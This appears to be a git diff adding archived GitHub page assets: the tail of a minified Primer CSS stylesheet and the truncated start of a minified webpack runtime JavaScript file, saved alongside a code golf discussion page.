h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9